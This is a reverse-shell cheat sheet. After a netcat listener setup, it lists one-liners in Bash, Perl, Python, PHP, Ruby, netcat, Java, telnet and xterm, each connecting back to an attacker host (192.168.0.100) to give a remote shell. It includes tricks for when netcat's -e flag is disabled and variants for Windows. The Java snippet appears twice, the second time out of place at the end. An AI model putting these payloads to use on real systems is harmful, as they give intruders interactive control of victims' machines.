Step one – Set up your listener.
nc -l -v attackerip 4444

In all these examples the attacker IP will be 192.168.0.100

Bash
exec 5<>/dev/tcp/192.168.0.100/4444
cat <&5 | while read line; do $line 2>&5 >&5; done

<&196;exec 196<>/dev/tcp/192.168.0.100/4444; sh <&196 >&196 2>&196


bash -i >& /dev/tcp/192.168.0.100/4444 0>&1

Perl
perl -e 'use socket;$i="192.168.0.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

For windows based systems you can use

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.0.100:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP
php -r '$sock=fsockopen("192.168.0.100",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby
ruby -rsocket -e'f=TCPSocket.open("192.168.0.100",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)

The following does not need /bin/sh:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.0.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

The following is for windows based systems:
ruby -rsocket -e 'c=TCPSocket.new("192.168.0.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

NetCat
nc -e /bin/sh 192.168.0.100 4444

nc -c /bin/sh 192.168.0.100 4444

/bin/sh | nc 192.168.0.100 4444

If the -e flag is disabled you can get around it using the following
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p

Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.100/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Telnet
If netcat is missing (and in most cases you wont have this), then use telnet:
rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.0.100 4444 0/tmp/p
telnet 192.168.0.100 4444 | /bin/bash | telnet 192.168.0.100 4445
# also listen on your machine also on port 4445/tcp

Xterm
This one is a little more tricky, you need to start a listener on the attacker box to catch the incoming xterm
Xnest :1; xterm -display 127.0.0.1:1

and then inside the spawned xterm session run this:
xhost +victimip

Then on the victim you need to run this
xterm -display 192.168.0.100:1
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.100/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
